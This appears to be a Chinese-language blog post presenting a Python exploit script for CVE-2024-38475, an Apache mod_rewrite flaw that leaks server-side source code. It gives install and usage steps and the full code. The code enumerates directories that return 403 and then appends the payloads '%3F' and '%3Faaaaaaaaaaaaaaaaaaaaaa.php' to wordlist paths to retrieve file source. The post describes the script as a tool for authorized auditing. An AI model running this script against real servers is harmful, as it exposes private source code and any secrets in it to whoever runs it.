Apache安全漏洞测试工具 - CVE-2024-38475利用脚本

Apache安全漏洞测试工具 (CVE-2024-38475)

基于Python开发的Apache服务器漏洞检测工具,专门针对CVE-2024-38475漏洞进行测试。该漏洞涉及Apache mod_rewrite模块在文件系统路径匹配时的弱点,可能导致源代码意外暴露。

功能特性

  • 目录枚举检测:通过403状态码识别可访问但受限的Web目录
  • 源代码泄露测试 :使用特殊载荷(%3F、%3Faaaaaaaaaaaaaaaaaaaaaa.php)检测文件源码暴露漏洞
  • 多Web根目录支持:可同时测试多个Web根目录配置
  • 灵活协议选择:支持HTTP和HTTPS协议
  • 字典驱动测试:支持自定义目录和文件字典,提高测试覆盖率
  • 彩色输出反馈:使用颜色区分不同类型的发现结果

安装指南

系统要求

  • Python 3.6+
  • pip包管理工具

依赖安装

bash 复制代码
pip install requests termcolor

获取字典文件

建议使用以下字典文件:

  • raft-medium-directories.txt - 目录字典
  • raft-medium-files.txt - 文件字典

可从SecLists项目获取标准字典文件。

使用说明

基本用法

bash 复制代码
python3 script.py --webroots webroots.txt --url 127.0.0.1 --schema http --directory_wordlist raft-medium-directories.txt --file_wordlist raft-medium-files.txt

参数说明

参数 必选 描述
--webroots 是 Web根目录列表文件路径(TXT格式)
--url 是 目标URL或IP地址
--schema 否 协议类型:http或https(默认:http)
--directory_wordlist 是 目录字典文件路径
--file_wordlist 是 文件字典文件路径

使用示例

测试本地Apache服务器

bash 复制代码
python3 script.py --webroots webroots.txt --url localhost --schema http --directory_wordlist dirs.txt --file_wordlist files.txt

测试HTTPS网站

bash 复制代码
python3 script.py --webroots webroots.txt --url example.com --schema https --directory_wordlist dirs.txt --file_wordlist files.txt

webroots.txt格式示例

bash 复制代码
/var/www/html
/home/user/public_html
/opt/lampp/htdocs

典型使用场景

  1. 安全审计:在授权范围内对Apache服务器进行安全评估
  2. 漏洞验证:验证CVE-2024-38475漏洞是否存在
  3. 配置检查:检测mod_rewrite配置是否导致源代码泄露风险

核心代码

目录枚举模块

python 复制代码
def directories(webroot, url_ip_domain, schema, directory_wordlist):
    """检测可访问但受限的目录(返回403状态码)"""
    with open(directory_wordlist, 'r', errors='replace') as f:
        lines = [word.strip() for word in f.readlines()]
        for line in lines:
            r = requests.get(f"{schema}://{url_ip_domain}/{line}/", allow_redirects=False)
            if r.status_code == 403:
                print(colored(f"Found directory - {line} in {webroot}", "green"))

源代码泄露检测模块

python 复制代码
def source_code_files(webroot, url_ip_domain, schema, file_wordlist):
    """使用特殊载荷检测源代码泄露漏洞"""
    with open(file_wordlist, 'r', errors='replace') as f:
        lines = [word.strip() for word in f.readlines()]
        for line in lines:
            # CVE-2024-38475特定载荷
            for payload in ["%3F", "%3Faaaaaaaaaaaaaaaaaaaaaa.php"]:
                r = requests.get(f"{schema}://{url_ip_domain}/{webroot}/{line}{payload}", allow_redirects=False)
                if r.status_code == 200:
                    print(colored(f"Response code: {r.status_code} | Found File - Payload: {r.url} in {webroot}", "green"))

主控制流程

python 复制代码
def main(webroot_file, url_ip_domain, schema, directory_wordlist, file_wordlist):
    """主控制函数,协调目录枚举和文件检测"""
    with open(webroot_file, 'r') as f:
        webroots = [line.strip() for line in f.readlines()]
    
    for webroot in webroots:
        print(colored(f"\nLooking for 403 directories in {webroot}.", "yellow"))
        directories(webroot, url_ip_domain, schema, directory_wordlist)

        print(colored(f"\nLooking for interesting source code disclosures in {webroot}.", "yellow"))
        source_code_files(webroot, url_ip_domain, schema, file_wordlist)

命令行参数解析

python 复制代码
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Webroot and file enumeration script.')
    parser.add_argument('--webroots', type=str, required=True, help='Path to the webroots file (TXT)')
    parser.add_argument('--url', type=str, required=True, help='Target URL or IP address (e.g., 127.0.0.1)')
    parser.add_argument('--schema', type=str, choices=['http', 'https'], default='http', help='Schema to use (http or https)')
    parser.add_argument('--directory_wordlist', type=str, required=True, help='Path to the directory wordlist file (TXT)')
    parser.add_argument('--file_wordlist', type=str, required=True, help='Path to the file wordlist file (TXT)')

    args = parser.parse_args()
    main(args.webroots, args.url, args.schema, args.directory_wordlist, args.file_wordlist)

6HFtX5dABrKlqXeO5PUv/99KwcudWgXADFTG1+cK8U4=

相关推荐
程序猿阿森1 分钟前
深入解析 NLI:RAG 与大模型防幻觉的“最后一道防线”
前端·人工智能·算法
2601_965448872 分钟前
让AI写开源项目的产品介绍+宣传片脚本,实测效果
人工智能
FITA阿泽要努力6 分钟前
Sub Agent:上下文管理的艺术
人工智能·python·agent
新新学长搞科研11 分钟前
【广州大学主办/会议评优】第六届人工智能与智能制造国际研讨会(AIIM 2026)
人工智能·制造
l1t11 分钟前
DeepSeek总结的本地优先的分析不需要数据库服务器
运维·服务器·数据库·人工智能·duckdb
tq108612 分钟前
从翻译到对齐:智能转导的一个核心视角
人工智能
zhilai114 分钟前
2026 企业 AI 办公工具选型指南:企业团队 AI 平台评估与场景适配
大数据·人工智能
科技看点说15 分钟前
翼图资本:低空经济的产业韧性与延展性
大数据·人工智能
浮尘笔记17 分钟前
我用 Go 写了个手机端「远程 AI 开发控制台」(开源)
人工智能·智能手机·golang